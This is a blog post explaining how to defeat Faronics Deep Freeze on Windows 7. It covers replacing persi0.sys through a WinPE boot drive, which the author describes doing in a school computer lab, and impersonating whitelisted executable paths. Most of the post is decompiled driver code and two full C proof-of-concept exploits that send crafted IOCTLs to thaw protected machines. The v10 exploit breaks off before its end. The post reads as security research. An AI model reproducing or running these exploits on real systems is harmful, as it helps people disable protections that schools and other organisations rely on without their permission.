现充|junyu33

How to unlock Deep Freeze when you forget the password?

Eleven years ago—back when I was in the sixth grade—I managed to bypass the restore protection of Deep Freeze.

Remarkably, in the eleven years since, Deep Freeze has only seen two major version updates. Recently, on a whim, I decided to test it again and found that my original method still works, while also discovering new approaches. This article covers the following two versions:

The method was tested on my own Windows 7 virtual machine, and both versions worked successfully. It is intended solely for personal learning and discussion.

Substitute persi0.sys

This method requires physical access to the machine via a USB drive to boot into WinPE.

This is the method I used back in the day when I snuck into the school computer lab. The steps were as follows:

  1. Note the version number of Deep Freeze installed in the lab. On a separate device, set up a virtual machine, download and install the same version of Deep Freeze, and set (and memorize) your own password.
  2. After rebooting, boot into the PE environment and copy the persi0.sys file from the root of the C drive to your USB drive (since the file cannot be copied while the system is running, an offline environment is required).
  3. During computer class, use your PE boot drive to enter the PE environment and overwrite the existing persi0.sys file in the C drive's root directory with the one you copied.
  4. Upon the next reboot into the original system, press Ctrl+Alt+Shift+F6, enter the password you set earlier to unlock it, select "Thaw" (disable protection), and reboot again; you can then uninstall the software using the corresponding installer package.

A crucial prerequisite for this method was that the lab computers' BIOS settings were not password-protected at the time.

Regarding official patches: this method remained effective up to version 8.35. In February 2017, the official version 8.37 was released with integrity checks; following these steps caused the Deep Freeze icon to disappear. Although the software was effectively broken, the system remained in a "thawed" state, allowing for direct uninstallation using the appropriate installer package.

By the time version 9.0.20.5760 arrived, the integrity check appeared to be gone. I personally set up two VMware virtual machines (note: these were not clones; the vol C: output differed, implying distinct machine fingerprints) and observed two phenomena:

  1. When the same password was set for Deep Freeze on both systems, a byte-by-byte diff comparison of the exported persi0.sys files showed they were identical.
  2. If Virtual Machine A and Virtual Machine B had different passwords, replacing A's persi0.sys with B's version allowed me to successfully log in to Virtual Machine A using B's password.

Subsequent reverse engineering confirmed that the driver performs no signature verification, though the user-mode application FrzState2k.exe contains an embedded Base64-encoded RSA public key. RSA 3072 in X.509 SubjectPublicKeyInfo format, with the following specific content:

MIIBoDANBgkqhkiG9w0BAQEFAAOCAY0AMIIBiAKCAYEA2RePUsV+NetwZuAWHMOmEjzUrXOFHsAG3YL2vy/PBt1CsIOXeUPb+KgOtFJN2rfbvgULnQmI50GK7lF+J6za9TUP6QAAWKlkc2XO1BbiGD9O83g9Vcw8dZwbKZbRmEEnQoYALfQaXdIg8ehHGgLT4K8b9C3cPklNNQUpgazrj5Xrdbu+EuwTfoW1mc3SfJkWZBLWiPPiHjd1xzxtiVhO/D+ANNMWsL8D/yQTwvg6vkLOIUR2M/MLqDBAgB309/XtPsJQ9WIVJxSMd+Fj+DVTbJtJd1V/usttlK54/4wY63mHXO38oNZV1tMKRHlYpvXoGFAtFiTBCf1LAlHUN0Q/qtHfbYxFc60Jbdgqgb+SEFETNXQIHSlmGAN66DZauesdrADri1fIc2O+Bzzz8c9bTDcdu4x6whDwU+2BL8qszORIWiECU4z57w7N22fnLAE1Z8+RrJq/7dLgZNFBxZEexM2hfhTz40vIWfhD5En+WwZUa+vEud4DIPqu8Ltq9NZZAgER

Based on a fundamental trust in cryptography, I believe it is virtually impossible to recover the plaintext password solely from persi0.sys.

Impersonating whitelist path

Requiring administrator privileges on the current computer only.

The most significant vulnerability identified through static analysis is that the program employs whitelist-based regular expression matching; specifically, the matching method is:

*\WINDOWS\SYSTEM32\DFC.EXE*
*\WINDOWS\SYSWOW64\DFC.EXE*
*\FARONICS\DEEP FREEZE\INSTALL C-0\DFSERV.EXE*
*\FARONICS\DEEP FREEZE\INSTALL C-0\_$DF\FRZSTATE2K.EXE*

This means that simply by creating a file named something like DFServ.exe.20260928.exe and placing it in the Install C-0 directory, you effectively gain the same status as programs like DFServ.exe.

This version applies to both 9.0.20.5760 and 10.10.220.5788; the bypass strategy is essentially the same, though implementation details differ due to parameter adjustments made by the official release.

9.0.20.5760

Let's focus here on how the whitelist verification mechanism is implemented. First, let's examine the cross-references (Xrefs) to see where the deepfrz.sys driver calls the ZwQueryInformationProcess API:

Examining sub_140007A8C, the F5 decompiler output is as follows:

__int64 __fastcall sub_140007A8C(__int64 a1, _QWORD *a2)
{
  NTSTATUS InformationProcess; // eax
  PVOID PoolWithTag; // rbx
  NTSTATUS v6; // edi
  SIZE_T NumberOfBytes; // [rsp+48h] [rbp+10h] BYREF

  LODWORD(NumberOfBytes) = 0;
  *a2 = 0;
  InformationProcess = ZwQueryInformationProcess(
                         ProcessHandle: (HANDLE)0xFFFFFFFFFFFFFFFFLL,
                         ProcessInformationClass: ProcessImageFileName,
                         ProcessInformation: nullptr,
                         ProcessInformationLength: 0,
                         ReturnLength: (PULONG)&NumberOfBytes);
  if ( (_DWORD)NumberOfBytes == 0 || InformationProcess != 0xC0000004 )
    return 0xC0000001LL;
  PoolWithTag = ExAllocatePoolWithTag(PoolType: PagedPool, (unsigned int)NumberOfBytes, Tag: 0x636F7250u);
  if ( PoolWithTag == nullptr )
    return 3221225626LL;
  v6 = ZwQueryInformationProcess(
         ProcessHandle: (HANDLE)0xFFFFFFFFFFFFFFFFLL,
         ProcessInformationClass: ProcessImageFileName,
         ProcessInformation: PoolWithTag,
         ProcessInformationLength: NumberOfBytes,
         ReturnLength: (PULONG)&NumberOfBytes);
  if ( v6 < 0 )
  {
    _mm_lfence();
    ExFreePoolWithTag(P: PoolWithTag, Tag: 0);
  }
  else
  {
    *a2 = PoolWithTag;
  }
  return (unsigned int)v6;
}

Looking at the parent function sub_1400073F0, after the program executes the aforementioned sub_140007A8C, it proceeds to sub_1400179E8 (which is FsRtlIsNameInExpression):

      if ( v5 == 468200 )
      {
        P = nullptr;
        if ( (int)sub_140007A8C(a1, a2: &P) >= 0 )
        {
          v22 = 0;
          while ( 1 )
          {
            v24 = 0;
            RtlInitUnicodeString(&DestinationString, SourceString: off_140029000[v22]);
            if ( (unsigned __int8)sub_1400179E8(a1: P, a2: &DestinationString) == 1 )
              break;
            if ( DestinationString.Buffer != nullptr && v24 != 0 )
              sub_1400124F0(a1: DestinationString.Buffer, a2: 2);
            if ( (unsigned __int64)++v22 >= 4 )
              goto LABEL_121;
          }
          if ( DestinationString.Buffer != nullptr && v24 != 0 )
            sub_1400124F0(a1: DestinationString.Buffer, a2: 2);
LABEL_121:
          ExFreePoolWithTag(P, Tag: 0);
          if ( v22 == 4 )
          {
            v14 = -1073741790;
            goto LABEL_51;
          }
        }
      }
      a2 = v4;

So, we should focus on the off_140029000 constant, as the business logic suggests that the code in this vicinity almost certainly involves whitelist matching. Let's take a look:

.data:0000000140029000 off_140029000   dq offset aWindowsSystem3
.data:0000000140029000                                         ; DATA XREF: sub_1400073F0:loc_14000782A↑o
.data:0000000140029000                                         ; "*\\WINDOWS\\SYSTEM32\\DFC.EXE*"
.data:0000000140029008                 dq offset aWindowsSyswow6 ; "*\\WINDOWS\\SYSWOW64\\DFC.EXE*"
.data:0000000140029010                 dq offset aFaronicsDeepFr ; "*\\FARONICS\\DEEP FREEZE\\INSTALL C-0\\"...
.data:0000000140029018                 dq offset aFaronicsDeepFr_0 ; "*\\FARONICS\\DEEP FREEZE\\INSTALL C-0\\"...

Double-clicking jumps to the corresponding offset, confirming the earlier claim:

.rdata:00000001400257C0 aWindowsSystem3:                        ; DATA XREF: .data:off_140029000↓o
.rdata:00000001400257C0                 text "UTF-16LE", '*\WINDOWS\SYSTEM32\DFC.EXE*',0
.rdata:00000001400257F8 aWindowsSyswow6:                        ; DATA XREF: .data:0000000140029008↓o
.rdata:00000001400257F8                 text "UTF-16LE", '*\WINDOWS\SYSWOW64\DFC.EXE*',0
.rdata:0000000140025830 aFaronicsDeepFr:                        ; DATA XREF: .data:0000000140029010↓o
.rdata:0000000140025830                 text "UTF-16LE", '*\FARONICS\DEEP FREEZE\INSTALL C-0\DFSERV.EXE*',0
.rdata:000000014002588E                 align 10h
.rdata:0000000140025890 aFaronicsDeepFr_0:                      ; DATA XREF: .data:0000000140029018↓o
.rdata:0000000140025890                 text "UTF-16LE", '*\FARONICS\DEEP FREEZE\INSTALL C-0\_$DF\FRZSTATE2K.'
.rdata:00000001400258F6                 text "UTF-16LE", 'EXE*',0

The next step is to look at how to interact with the driver. I'll let the LLM handle this part; the corresponding functions are:

# Item to Reverse-Engineer IDA Location Values ​​from the Provided Packet
1 IOCTL code table + dispatch chain sub_1400073F0 → sub_140001060 → sub_140008D18 (subtraction chain) 4 codes: 0x724E8 / 0x7207C / 0x72024 / 0x72094
2 Calling conventions for the two queries sub_140007B48, sub_140007BB8 id, type1 (input NULL, output 4, no unpacking)
3 Two-stage read sub_140009C78 → sub_140022B4C / sub_140022E18 N + record body (returned as-is)
4 Record field constraints sub_14000AB28 (+2/+0xD4 validation), sub_140023780 (3221 B) +0x02 = 0x1712, +0xD4 = id
5 Fields accepted upon submission sub_14000AB28(mode 4) cloning chain (sub_1400124D0→sub_1400063E8→sub_140023780→sub_140003650) +0x04 = 1, +0x72 = 7
6 Trailer fields and values ​​ Template byte_8772FC + sub_4BC984/sub_4BCAEC/sub_4BC350; sub_140022B74, sub_140022BAC +0x00/+0x82/+0x8A/+0x8E
7 Inner transformation and scope sub_14000FFEC ≡ sub_4DBCDC ^0xC0, applies only to the first min(len, 0x3000) bytes
8 Outer trailer layout and magic number sub_4BE1DC ↔ sub_1400010DC; magic number cmp [rbx+0Ch], 6789DEDCh [id][0x6789DEDC][12]
9 Outer transformation, recurrence, seed, window sub_4A7ED8+sub_4A7F14+sub_4A7F54 ↔ sub_14000B7F4+sub_14000B724(&ctx, 60) Reverse-order XOR, s^(k+3), 181/163, timestamp-based seed, window size 60
10 Submission semantics and length constraints sub_14000AB28(mode 4); sub_140001B38 (write only if v8 == a4) Length must exactly match slot length; success = returns N

With this information in hand, we can start writing the PoC:

/* DeepFrz.sys 9.00.020.5760, exact SHA-256 pinned below.
 * Static-analysis PoC. Never run by the authoring session.
 * No CRT, no reboot, no 0x72028, no retry of the write request.
 * Run only when explicitly ready: thaw_once.exe --thaw-once
 */
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wincrypt.h>
#include <shellapi.h>

#define IO_READ       0x00072024u
#define IO_COMMIT     0x00072094u
#define IO_TYPE1      0x0007207Cu
#define IO_RECORD_ID  0x000724E8u
#define MAX_RECORD    0xBADBu
#define MIN_RECORD    (637u + 3221u)
#define TAIL_SIZE     146u
#define OUTER_SIZE    12u

static const BYTE expected_sha256[32] = {
    0xC4,0xB9,0xE8,0x41,0xA6,0x79,0x8A,0x47,
    0x40,0xB1,0xAA,0x01,0x4B,0x03,0x3A,0x2E,
    0x86,0x4D,0xF6,0x65,0xC1,0xDB,0x6B,0x67,
    0x9F,0x31,0xBC,0x8D,0x77,0xDB,0xB7,0x3F
};

static DWORD length(const char *s) { DWORD n=0; while(s[n]) ++n; return n; }
static void say(const char *s) {
    DWORD n;
    WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),s,length(s),&n,NULL);
}
static void hex32(DWORD v) {
    char s[11]; DWORD i;
    s[0]='0'; s[1]='x'; s[10]=0;
    for(i=0;i<8;++i) s[9-i]="0123456789ABCDEF"[(v>>(4*i))&15u];
    say(s);
}
static BOOL equal_w(const WCHAR *a,const WCHAR *b) {
    while(*a && *a==*b) { ++a; ++b; } return *a==*b;
}
static BYTE *allocate(DWORD n) {
    return (BYTE*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,n);
}
static void release(void *p) { if(p) HeapFree(GetProcessHeap(),0,p); }
static DWORD get32(const BYTE *p) {
    return (DWORD)p[0]|((DWORD)p[1]<<8)|((DWORD)p[2]<<16)|((DWORD)p[3]<<24);
}
static WORD get16(const BYTE *p) { return (WORD)(p[0]|((WORD)p[1]<<8)); }
static void put32(BYTE *p,DWORD n) {
    p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); p[2]=(BYTE)(n>>16); p[3]=(BYTE)(n>>24);
}
static void put16(BYTE *p,WORD n) { p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); }
static void copy_bytes(BYTE *d,const BYTE *s,DWORD n) {
    DWORD i; for(i=0;i<n;++i) d[i]=s[i];
}

/* Check the on-disk driver before opening the volume. Does not prove the
 * loaded kernel image matches a subsequently replaced on-disk file. */
static BOOL verify_target(void) {
    OSVERSIONINFOA os={0};
    char path[MAX_PATH];
    const char suffix[]="\\drivers\\DeepFrz.sys";
    HCRYPTPROV provider=0; HCRYPTHASH hash=0;
    HANDLE file=INVALID_HANDLE_VALUE;
    BYTE digest[32]; BYTE *chunk=NULL;
    DWORD n,i,read_n,digest_n=32; BOOL ok=FALSE;
    LARGE_INTEGER size;
    if(sizeof(void*)!=8) { say("This PoC requires x64.\r\n"); return FALSE; }
    os.dwOSVersionInfoSize=sizeof(os);
    if(!GetVersionExA(&os) || os.dwMajorVersion!=6 || os.dwMinorVersion!=1) {
        say("Refusing: expected Windows 7 / NT 6.1.\r\n"); return FALSE;
    }
    n=GetSystemDirectoryA(path,MAX_PATH);
    if(!n || n>=MAX_PATH || (path[0]!='C' && path[0]!='c') || path[1]!=':') {
        say("Refusing: expected the analyzed C: system volume.\r\n"); return FALSE;
    }
    if(n+sizeof(suffix)>MAX_PATH) return FALSE;
    for(i=0;i<sizeof(suffix);++i) path[n+i]=suffix[i];
    file=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
    if(file==INVALID_HANDLE_VALUE) goto done;
    if(!GetFileSizeEx(file,&size) || size.QuadPart!=203832) goto done;
    if(!CryptAcquireContextA(&provider,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)) goto done;
    if(!CryptCreateHash(provider,CALG_SHA_256,0,0,&hash)) goto done;
    chunk=allocate(4096);
    if(!chunk) goto done;
    for(;;) {
        if(!ReadFile(file,chunk,4096,&read_n,NULL)) goto done;
        if(!read_n) break;
        if(!CryptHashData(hash,chunk,read_n,0)) goto done;
    }
    if(!CryptGetHashParam(hash,HP_HASHVAL,digest,&digest_n,0) || digest_n!=32) goto done;
    for(i=0;i<32;++i) if(digest[i]!=expected_sha256[i]) goto done;
    ok=TRUE;
done:
    release(chunk);
    if(hash) CryptDestroyHash(hash);
    if(provider) CryptReleaseContext(provider,0);
    if(file!=INVALID_HANDLE_VALUE) CloseHandle(file);
    if(!ok) say("Refusing: driver size/hash verification failed.\r\n");
    return ok;
}

/* Exactly the observed volume-open parameters. Reopen for each request,
 * as DFServ does. No alternate device and no write-request retry. */
static BOOL ioctl(DWORD code,BYTE *input,DWORD in_n,BYTE *output,DWORD out_n,DWORD *returned) {
    HANDLE h=CreateFileA("\\\\.\\C:",0,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    BOOL ok; DWORD error;
    *returned=0;
    if(h==INVALID_HANDLE_VALUE) {
        say("CreateFile failed: "); hex32(GetLastError()); say("\r\n"); return FALSE;
    }
    ok=DeviceIoControl(h,code,input,in_n,output,out_n,returned,NULL);
    error=ok?0:GetLastError();
    CloseHandle(h);
    if(!ok) {
        say("DeviceIoControl "); hex32(code); say(" failed: "); hex32(error); say("\r\n");
    }
    return ok;
}

/* 140007B48 / 140007BB8 require SystemBuffer and output length exactly 4.
 * They do not read/decode input. The I/O manager supplies SystemBuffer
 * from OutputBufferLength=4 even when input is NULL. */
static BOOL query_dword(DWORD code,DWORD *value) {
    BYTE out[4]={0}; DWORD returned;
    if(!ioctl(code,NULL,0,out,4,&returned) || returned!=4) return FALSE;
    *value=get32(out); return TRUE;
}

/* 4BE1DC / 4A7ED8, matched against 1400010DC / 14000B7F4.
 * Fresh UTC seconds for every request; no timestamp copied from DFTime. */
static BYTE *wrap(const BYTE *plain,DWORD n,DWORD id,DWORD *wire_n) {
    FILETIME ft; ULARGE_INTEGER t;
    ULONGLONG seconds;
    DWORD k,total=n+OUTER_SIZE;
    WORD state;
    BYTE *wire=allocate(total);
    if(!wire) return NULL;
    copy_bytes(wire,plain,n);
    put32(wire+n,id); put32(wire+n+4,0x6789DEDCu); put32(wire+n+8,OUTER_SIZE);
    GetSystemTimeAsFileTime(&ft);
    t.LowPart=ft.dwLowDateTime; t.HighPart=ft.dwHighDateTime;
    if(t.QuadPart<116444736000000000ULL) { release(wire); return NULL; }
    seconds=(t.QuadPart-116444736000000000ULL)/10000000ULL;
    if(seconds>0x7FFFFFFFULL) { release(wire); return NULL; }
    state=(WORD)seconds;
    for(k=0;k<total;++k) {
        state=(WORD)(2u*((DWORD)state/181u)-163u*((DWORD)state%181u));
        wire[total-1-k]^=(BYTE)((BYTE)state^(BYTE)(k+3u));
    }
    *wire_n=total; return wire;
}

static BOOL read_slot0(DWORD id,BYTE *out,DWORD out_n,DWORD *returned) {
    BYTE index[4]={0}; DWORD wire_n=0;
    BYTE *wire=wrap(index,4,id,&wire_n); BOOL ok;
    if(!wire) return FALSE;
    ok=ioctl(IO_READ,wire,wire_n,out,out_n,returned);
    release(wire); return ok;
}

static DWORD thaw_once(void) {
    DWORD id,key,n,returned,wire_n,i,plain_n;
    BYTE size_bytes[4]={0}; BYTE *record=NULL,*plain=NULL,*wire=NULL;
    DWORD result=1;
    if(!verify_target()) return 1;
    if(!query_dword(IO_RECORD_ID,&id) || !query_dword(IO_TYPE1,&key)) return 1;
    if(!read_slot0(id,size_bytes,4,&returned) || returned!=4) return 1;
    n=get32(size_bytes);
    /* Bounds cover the subregion the handler itself copies and the
     * maximum clone allocation in this exact driver. Do not guess N. */
    if(n<MIN_RECORD || n>MAX_RECORD) {
        say("Refusing unexpected record length: "); hex32(n); say("\r\n"); return 1;
    }
    record=allocate(n);
    if(!record || !read_slot0(id,record,n,&returned) || returned!=n) goto done;
    if(get16(record)!=n || get16(record+2)!=0x1712 || get32(record+0xD4)!=id) {
        say("Refusing inconsistent record header/id.\r\n"); goto done;
    }
    plain_n=n+TAIL_SIZE;
    plain=allocate(plain_n);
    if(!plain) goto done;
    copy_bytes(plain,record,n);
    put32(plain+0x04,1);          /* one thawed initialization interval */
    put16(plain+0x72,7);          /* DFServ RebootThawed operation */
    put32(plain+n+0x00,key);      /* from 0x7207C, NOT readback +0x289 */
    put32(plain+n+0x82,1);        /* type-1 validation */
    put32(plain+n+0x8A,0);        /* slot 0 */
    put32(plain+n+0x8E,TAIL_SIZE);
    /* All remaining trailer bytes are zero, as in DFServ. */
    for(i=0;i<plain_n && i<0x3000u;++i) plain[i]^=0xC0;
    wire=wrap(plain,plain_n,id,&wire_n);
    if(!wire) goto done;
    say("Submitting ONE 0x72094 request (count=1, operation=7).\r\n");
    if(!ioctl(IO_COMMIT,wire,wire_n,NULL,0,&returned)) {
        say("Write outcome is not confirmed; do not assume nothing changed. No retry was made.\r\n");
        goto done;
    }
    if(returned!=n) {
        say("Unexpected completion length; write may have occurred. No retry was made.\r\n");
        goto done;
    }
    say("Driver reported success. No reboot was requested. Actual thaw state is not verified.\r\n");
    result=0;
done:
    release(wire); release(plain); release(record);
    return result;
}

/* Custom PE entry point keeps the executable independent of UCRT/.NET. */
void entry(void) {
    int argc=0; DWORD result=2;
    WCHAR **argv=CommandLineToArgvW(GetCommandLineW(),&argc);
    if(argv && argc==2 && equal_w(argv[1],L"--thaw-once")) result=thaw_once();
    else say("Version-pinned static-analysis PoC.\r\nUsage: thaw_once.exe --thaw-once\r\nNo device calls made without that argument. No automatic reboot.\r\n");
    if(argv) LocalFree(argv);
    ExitProcess(result);
}

10.10.220.5788

Compared to v9, the v10 version retains the same whitelist, but the driver has undergone significant changes:

# Item v9 v10
1 Record ID query code 0x724E8 0x724E4
2 Length/Read code 0x72024 0x72020 (0x72024 changed to "Write Mode 0 Pre-check")
3 Submission mode 0x72094 ⇒ mode 4 0x72094 ⇒ mode 3
4 Trailer first dword Type-1 value (record +0x289, fetched from 0x7207C) → Source: put32(plain+n+0x00,key) Record ID → Source: put32(payload+n+0x00,id) (key is only printed, not used)
5 Inner transformation Inline p[i]^=0xC0 inner_transform(): p[i]^=i^(0xBC+i)
6 Outer magic number 0x6789DEDC 0x6789EFDC
7 Outer recurrence state=2*(state/181)-163*(state%181) 173/137 version implemented via magic number division (2060591247)

I won't go into further detail here; the PoC is as follows:

/* DeepFrz.sys 10.10.220.5788, exact SHA-256 pinned below.
 * v11 candidate: corrected v10 protocol port. Static-analysis derived; the
 * authoring session did NOT run it.
 *
 * Corrections versus poc\thaw_once_v10_candidate.c, both proven from the
 * v10 driver and from the UPX-unpacked v10 DFServ.exe:
 *
 *  1. 0x72024 is NOT the length query in v10. Sending a 4-byte payload to
 *     0x72024 makes sub_14000ADE8's trailer parser sub_140022E54 return NULL
 *     (it requires payloadLen >= 0x92 and u32@(payload+payloadLen-4) == 146),
 *     so the handler takes LABEL_49 and completes with STATUS_INVALID_PARAMETER
 *     (0xC000000D) -> Win32 ERROR_INVALID_PARAMETER (0x57), exactly the observed
 *     failure. The length query / record read moved to 0x72020.
 *  2. The inner payload transform is not a flat XOR 0xC0. v10 uses
 *     payload[i] ^= (BYTE)i ^ (BYTE)(0xBC + i) for i < min(len,0x3000)
 *     (driver sub_1400102C0, DFServ sub_4DC0FC -- identical).
 *
 * No CRT, no reboot, no retry. Run only when explicitly ready:
 *   thaw_once_v11_candidate.exe --thaw-once
 */
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wincrypt.h>
#include <shellapi.h>

/* v10 request codes, each traced to its handler in DeepFrz.sys 10.10.220.5788:
 *   0x72020 -> worker sub_140008D28 -> sub_140009C88  length query / record read
 *   0x72024 -> worker sub_140008D28 -> sub_14000ADE8 mode 0  read w/ trailer
 *   0x7208C -> worker sub_140008D28 -> sub_14000ADE8 mode 2
 *   0x72094 -> worker sub_140008D28 -> sub_14000ADE8 mode 3  commit
 *   0x7207C -> pre-dispatch sub_140007400 (unpacked, needs OutputBufferLength>=4)
 *   0x724E4 -> worker sub_140007B58 (unpacked, needs OutputBufferLength==4)
 */
#define IO_META       0x00072020u
#define IO_READ       0x00072024u
#define IO_COMMIT     0x00072094u
#define IO_TYPE1      0x0007207Cu
#define IO_RECORD_ID  0x000724E4u

/* DFServ v10 rejects Size > 0xB9BB (sub_4BC6D8). The driver's own memcpy of
 * 3221 bytes at record+637 needs N >= 637+3221. */
#define MAX_RECORD    0xB9BBu
#define MIN_RECORD    (637u + 3221u)
#define TAIL_SIZE     146u
#define OUTER_SIZE    12u
#define SLOT0         0u

static const BYTE expected_sha256[32] = {
    0x2E,0xDE,0x84,0x4D,0x9E,0x28,0x33,0x22,
    0x8C,0xF0,0xEB,0x16,0x18,0x71,0x20,0xCA,
    0x59,0x86,0x4F,0x87,0x09,0xEA,0x4F,0xA2,
    0x40,0xFE,0xC5,0x2B,0x3A,0xB2,0x24,0xCF
};

static DWORD length(const char *s) { DWORD n=0; while(s[n]) ++n; return n; }
static void say(const char *s) {
    DWORD n;
    WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),s,length(s),&n,NULL);
}
static void hex32(DWORD v) {
    char s[11]; DWORD i;
    s[0]='0'; s[1]='x'; s[10]=0;
    for(i=0;i<8;++i) s[9-i]="0123456789ABCDEF"[(v>>(4*i))&15u];
    say(s);
}
static BOOL equal_w(const WCHAR *a,const WCHAR *b) {
    while(*a && *a==*b) { ++a; ++b; } return *a==*b;
}
static BYTE *allocate(DWORD n) {
    return (BYTE*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,n);
}
static void release(void *p) { if(p) HeapFree(GetProcessHeap(),0,p); }
static DWORD get32(const BYTE *p) {
    return (DWORD)p[0]|((DWORD)p[1]<<8)|((DWORD)p[2]<<16)|((DWORD)p[3]<<24);
}
static WORD get16(const BYTE *p) { return (WORD)(p[0]|((WORD)p[1]<<8)); }
static void put32(BYTE *p,DWORD n) {
    p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); p[2]=(BYTE)(n>>16); p[3]=(BYTE)(n>>24);
}
static void put16(BYTE *p,WORD n) { p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); }
static void copy_bytes(BYTE *d,const BYTE *s,DWORD n) {
    DWORD i; for(i=0;i<n;++i) d[i]=s[i];
}

/* Check the on-disk driver before opening the volume. Does not prove the
 * loaded kernel image matches a subsequently replaced on-disk file. */
static BOOL verify_target(void) {
    OSVERSIONINFOA os={0};
    char path[MAX_PATH];
    const char suffix[]="\\drivers\\DeepFrz.sys";
    HCRYPTPROV provider=0; HCRYPTHASH hash=0;
    HANDLE file=INVALID_HANDLE_VALUE;
    BYTE digest[32]; BYTE *chunk=NULL;
    DWORD n,i,read_n,digest_n=32; BOOL ok=FALSE;
    LARGE_INTEGER size;
    if(sizeof(void*)!=8) { say("This PoC requires x64.\r\n"); return FALSE; }
    os.dwOSVersionInfoSize=sizeof(os);
    if(!GetVersionExA(&os) || os.dwMajorVersion!=6 || os.dwMinorVersion!=1) {
        say("Refusing: expected Windows 7 / NT 6.1.\r\n"); return FALSE;
    }
    n=GetSystemDirectoryA(path,MAX_PATH);
    if(!n || n>=MAX_PATH || (path[0]!='C' && path[0]!='c') || path[1]!=':') {
        say("Refusing: expected the analyzed C: system volume.\r\n"); return FALSE;
    }
    if(n+sizeof(suffix)>MAX_PATH) return FALSE;
    for(i=0;i<sizeof(suffix);++i) path[n+i]=suffix[i];
    file=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
    if(file==INVALID_HANDLE_VALUE) goto done;
    if(!GetFileSizeEx(file,&size) || size.QuadPart!=204880) goto done;
    if(!CryptAcquireContextA(&provider,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)) goto done;
    if(!CryptCreateHash(provider,CALG_SHA_256,0,0,&hash)) goto done;
    chunk=allocate(4096);
    if(!chunk) goto done;
    for(;;) {
        if(!ReadFile(file,chunk,4096,&read_n,NULL)) goto done;
        if(!read_n) break;
        if(!CryptHashData(hash,chunk,read_n,0)) goto done;
    }
    if(!CryptGetHashParam(hash,HP_HASHVAL,digest,&digest_n,0) || digest_n!=32) goto done;
    for(i=0;i<32;++i) if(digest[i]!=expected_sha256[i]) goto done;
    ok=TRUE;
done:
    release(chunk);
    if(hash) CryptDestroyHash(hash);
    if(provider) CryptReleaseContext(provider,0);
    if(file!=INVALID_HANDLE_VALUE) CloseHandle(file);
    if(!ok) say("Refusing: driver size/hash verification failed.\r\n");
    return ok;
}

/* Same volume-open parameters as the observed DFServ path:
 * access=0, share=0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL. */
static BOOL raw_call(DWORD code,BYTE *input,DWORD in_n,BYTE *output,DWORD out_n,DWORD *returned) {
    HANDLE h=CreateFileA("\\\\.\\C:",0,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    BOOL ok; DWORD error;
    *returned=0;
    if(h==INVALID_HANDLE_VALUE) {
        say("CreateFile failed: "); hex32(GetLastError()); say("\r\n"); return FALSE;
    }
    ok=DeviceIoControl(h,code,input,in_n,output,out_n,returned,NULL);
    error=ok?0:GetLastError();
    CloseHandle(h);
    if(!ok) { say("DeviceIoControl "); hex32(code); say(" failed: "); hex32(error); say("\r\n"); }
    return ok;
}

/* 0x724E4: sub_140007B58 requires OutputBufferLength == 4 exactly and does not
 * read or decode the input; it returns u32@(current_record+0xD4). Unpacked.
 * 0x7207C: pre-dispatch sub_140007400 requires OutputBufferLength >= 4 and
 * returns !*(u8*)(*(device+104)+243). Unpacked. Both observed in DFServ v10. */
static BOOL query_raw(DWORD code,DWORD *value) {
    BYTE out[4]={0}; DWORD returned;
    if(!raw_call(code,NULL,0,out,4,&returned) || returned!=4) return FALSE;
    *value=get32(out); return TRUE;
}

/* Driver sub_1400102C0 / DFServ sub_4DC0FC: payload[i] ^= (BYTE)i ^ (BYTE)(0xBC+i),
 * the first min(len,0x3000) bytes only. This is NOT a flat XOR 0xC0. */
static void inner_transform(BYTE *p,DWORD n) {
    DWORD i,lim=(n>0x3000u)?0x3000u:n;
    for(i=0;i<lim;++i) p[i]^=(BYTE)((BYTE)i^(BYTE)(0xBCu+i));
}

/* Driver sub_14000BAC8 / sub_14000BA3C and DFServ sub_4BE564 / sub_4A8260:
 * outer 12-byte tail is id || 0x6789EFDC || 12, then a whole-wire reverse XOR
 * with state = (seed16 - attempt) and mask (k+3). Verified byte-for-byte. */
static BYTE *wrap(const BYTE *plain,DWORD n,DWORD id,DWORD *wire_n) {
    FILETIME ft; ULARGE_INTEGER t;
    ULONGLONG seconds;
    DWORD k,total=n+OUTER_SIZE;
    WORD state;
    BYTE *wire=allocate(total);
    if(!wire) return NULL;
    copy_bytes(wire,plain,n);
    put32(wire+n,id); put32(wire+n+4,0x6789EFDCu); put32(wire+n+8,OUTER_SIZE);
    GetSystemTimeAsFileTime(&ft);
    t.LowPart=ft.dwLowDateTime; t.HighPart=ft.dwHighDateTime;
    if(t.QuadPart<116444736000000000ULL) { release(wire); return NULL; }
    seconds=(t.QuadPart-116444736000000000ULL)/10000000ULL;
    if(seconds>0x7FFFFFFFULL) { release(wire); return NULL; }
    state=(WORD)seconds;
    for(k=0;k<total;++k) {
        DWORD prod=(DWORD)(((ULONGLONG)2060591247u*(DWORD)state)>>32);
        DWORD q=prod+(((DWORD)state-prod)>>1);
        DWORD r=q>>7;
        state=(WORD)(2u*r-137u*((DWORD)state-173u*r));
        wire[total-1-k]^=(BYTE)((BYTE)state^(BYTE)(k+3u));
    }
    *wire_n=total; return wire;
}

/* 0x72020 (driver sub_140009C88): payload is a 4-byte index, wrapped.
 * The I/O manager supplies SystemBuffer from max(InputBufferLength,
 * OutputBufferLength), so the wrapped 16-byte input is what the handler
 * unwraps. OutputBufferLength < record length => the length is written back as
 * one DWORD with Information=4; otherwise the record itself is read. */
